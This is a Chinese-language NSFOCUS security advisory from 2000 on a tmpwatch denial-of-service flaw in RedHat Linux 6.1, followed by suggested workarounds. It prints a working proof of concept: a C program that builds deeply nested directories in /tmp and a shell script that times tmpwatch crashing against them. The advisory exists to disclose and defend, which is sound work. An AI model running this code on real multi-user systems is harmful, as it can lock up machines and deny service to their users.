首页 -> 安全研究

安全研究

安全漏洞
Tmpwatch 大量fork()进程导致拒绝服务攻击

发布日期:2000-09-12
更新日期:2000-09-12

受影响系统:

Tmpwatch
   + RedHat Linux 6.1 i386
描述:

任何对 /tmp或者/var/tmp有写权限的用户都可能利用tmpwatch导致redhat 6.1(或者其
他通过crond运行tmpwatch的系统)停止响应,可能要求系统重新启动才能回复正常工作
。用户只要在/tmp下创建一个拥有很多i节点的目录树就可以进行攻击。对于/tmp下的
每一级目录,tmpwatch都会fork()出一个新的进程,占用大量系统资源,并导致系统瘫
痪。

<* 来源:zenith parsec (zenith_parsec@the-astronaut.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



---START---cut---:a.c (mode 644)
//
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2)
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
}
}
}
--END---cut-----:a.c

# ./testscript

(code follows)

---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results

--END---cut-----:testscript



建议:

临时解决方法:

NSFOCUS建议您暂时停止使用tmpwatch,并在删除/etc/cron.daily/tmpwatch。
您也可以在quota中限制对/tmp文件系统进行i节点数量的限制,例如:

1, limits (soft =512 , hard = 1024)


厂商补丁:

目前厂商没有提供补丁


浏览次数:6951
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障